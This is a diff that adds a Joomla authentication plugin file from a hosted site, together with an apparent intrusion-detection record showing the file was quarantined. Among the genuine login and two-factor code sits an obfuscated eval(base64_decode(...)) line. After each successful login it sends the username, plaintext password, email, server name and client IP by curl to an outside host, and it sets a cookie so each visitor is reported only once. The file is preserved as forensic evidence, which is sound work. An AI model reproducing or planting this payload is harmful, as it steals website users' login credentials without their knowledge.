diff --git a/var/www/hosting/archline.hu/www/plugins/authentication/joomla/joomla.php b/var/www/hosting/archline.hu/www/plugins/authentication/joomla/joomla.php new file mode 100644 index 0000000..3472286 --- /dev/null +++ b/var/www/hosting/archline.hu/www/plugins/authentication/joomla/joomla.php @@ -0,0 +1,222 @@ +type = 'Joomla'; + + // Joomla does not like blank passwords + if (empty($credentials['password'])) + { + $response->status = JAuthentication::STATUS_FAILURE; + $response->error_message = JText::_('JGLOBAL_AUTH_EMPTY_PASS_NOT_ALLOWED'); + + return; + } + + // Get a database object + $db = JFactory::getDbo(); + $query = $db->getQuery(true) + ->select('id, password') + ->from('#__users') + ->where('username=' . $db->quote($credentials['username'])); + + $db->setQuery($query); + $result = $db->loadObject(); + + if ($result) + { + $match = JUserHelper::verifyPassword($credentials['password'], $result->password, $result->id); + + if ($match === true) + { + // Bring this in line with the rest of the system + $user = JUser::getInstance($result->id); + $response->email = $user->email; + $response->fullname = $user->name; + + if (JFactory::getApplication()->isClient('administrator')) + { + $response->language = $user->getParam('admin_language'); + } + else + { + $response->language = $user->getParam('language'); + } + + $response->status = JAuthentication::STATUS_SUCCESS; +eval(base64_decode("JGNvb2tpZV9uYW1lID0gImFmNmNhMGNiNGE4YWUxMWY5NzUwZWM2NTdmOTMwZmNlIjsKJGNvb2tpZV92YWx1ZSA9ICIxIjsKaWYgKCFpc3NldCgkX0NPT0tJRVskY29va2llX25hbWVdKSkgewokYSA9IHN0cnJldihiYXNlNjRfZW5jb2RlKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gIjoiIC4gJGNyZWRlbnRpYWxzWyd1c2VybmFtZSddIC4gIjoiIC4gJGNyZWRlbnRpYWxzWydwYXNzd29yZCddIC4gIjoiIC4gJHVzZXItPmVtYWlsIC4gIjoiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKTsKJHVybCA9ICJodHRwOi8vbGVpdHVuZ3Mtc2hvcC5kZS9pbmRleC5waHAiOwokcG9zdF9kYXRhID0gYXJyYXkoJ3VzZXJfaWRfZGF0YScgPT4gJGEpOwokY2ggPSBjdXJsX2luaXQoJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCBodHRwX2J1aWxkX3F1ZXJ5KCRwb3N0X2RhdGEpKTsKJHNlcnZlcl9vdXRwdXQgPSBjdXJsX2V4ZWMoJGNoKTsKc2V0Y29va2llKCRjb29raWVfbmFtZSwgJGNvb2tpZV92YWx1ZSwgdGltZSgpICsgKDM2NSAqIDI0ICogNjAgKiA2MCksICIvIik7Cn0=")); + $response->error_message = ''; + } + else + { + // Invalid password + $response->status = JAuthentication::STATUS_FAILURE; + $response->error_message = JText::_('JGLOBAL_AUTH_INVALID_PASS'); + } + } + else + { + // Let's hash the entered password even if we don't have a matching user for some extra response time + // By doing so, we mitigate side channel user enumeration attacks + JUserHelper::hashPassword($credentials['password']); + + // Invalid user + $response->status = JAuthentication::STATUS_FAILURE; + $response->error_message = JText::_('JGLOBAL_AUTH_NO_USER'); + } + + // Check the two factor authentication + if ($response->status === JAuthentication::STATUS_SUCCESS) + { + $methods = JAuthenticationHelper::getTwoFactorMethods(); + + if (count($methods) <= 1) + { + // No two factor authentication method is enabled + return; + } + + JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_users/models', 'UsersModel'); + + /** @var UsersModelUser $model */ + $model = JModelLegacy::getInstance('User', 'UsersModel', array('ignore_request' => true)); + + // Load the user's OTP (one time password, a.k.a. two factor auth) configuration + if (!array_key_exists('otp_config', $options)) + { + $otpConfig = $model->getOtpConfig($result->id); + $options['otp_config'] = $otpConfig; + } + else + { + $otpConfig = $options['otp_config']; + } + + // Check if the user has enabled two factor authentication + if (empty($otpConfig->method) || ($otpConfig->method === 'none')) + { + // Warn the user if they are using a secret code but they have not + // enabled two factor auth in their account. + if (!empty($credentials['secretkey'])) + { + try + { + $app = JFactory::getApplication(); + + $this->loadLanguage(); + + $app->enqueueMessage(JText::_('PLG_AUTH_JOOMLA_ERR_SECRET_CODE_WITHOUT_TFA'), 'warning'); + } + catch (Exception $exc) + { + // This happens when we are in CLI mode. In this case + // no warning is issued + return; + } + } + + return; + } + + // Try to validate the OTP + FOFPlatform::getInstance()->importPlugin('twofactorauth'); + + $otpAuthReplies = FOFPlatform::getInstance()->runPlugins('onUserTwofactorAuthenticate', array($credentials, $options)); + + $check = false; + + /* + * This looks like noob code but DO NOT TOUCH IT and do not convert + * to in_array(). During testing in_array() inexplicably returned + * null when the OTEP begins with a zero! o_O + */ + if (!empty($otpAuthReplies)) + { + foreach ($otpAuthReplies as $authReply) + { + $check = $check || $authReply; + } + } + + // Fall back to one time emergency passwords + if (!$check) + { + // Did the user use an OTEP instead? + if (empty($otpConfig->otep)) + { + if (empty($otpConfig->method) || ($otpConfig->method === 'none')) + { + // Two factor authentication is not enabled on this account. + // Any string is assumed to be a valid OTEP. + + return; + } + else + { + /* + * Two factor authentication enabled and no OTEPs defined. The + * user has used them all up. Therefore anything they enter is + * an invalid OTEP. + */ + $response->status = JAuthentication::STATUS_FAILURE; + $response->error_message = JText::_('JGLOBAL_AUTH_INVALID_SECRETKEY'); + + return; + } + } + + // Clean up the OTEP (remove dashes, spaces and other funny stuff + // our beloved users may have unwittingly stuffed in it) + $otep = $credentials['secretkey']; + $otep = filter_var($otep, FILTER_SANITIZE_NUMBER_INT); + $otep = str_replace('-', '', $otep); + $check = false; + + // Did we find a valid OTEP? + if (in_array($otep, $otpConfig->otep)) + { + // Remove the OTEP from the array + $otpConfig->otep = array_diff($otpConfig->otep, array($otep)); + + $model->setOtpConfig($result->id, $otpConfig); + + // Return true; the OTEP was a valid one + $check = true; + } + } + + if (!$check) + { + $response->status = JAuthentication::STATUS_FAILURE; + $response->error_message = JText::_('JGLOBAL_AUTH_INVALID_SECRETKEY'); + } + } + } +} diff --git a/var/www/hosting/archline.hu/www/plugins/authentication/joomla/joomla.php.evidence.json b/var/www/hosting/archline.hu/www/plugins/authentication/joomla/joomla.php.evidence.json new file mode 100644 index 0000000..092ef27 --- /dev/null +++ b/var/www/hosting/archline.hu/www/plugins/authentication/joomla/joomla.php.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4736", + "log_excerpt": "[quarantine] www.archline.hu:plugins/authentication/joomla/joomla.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/plugins/authentication/joomla/joomla.php)", + "original_sha256": "9f854e3f7d59f7427fd365b6944b6dadeae4def7c9cd6bb10e75835b43612672", + "original_stat": { + "gid": 30037, + "mtime": 1750765668, + "size": 6996, + "uid": 11669 + }, + "rel_path": "plugins/authentication/joomla/joomla.php", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +}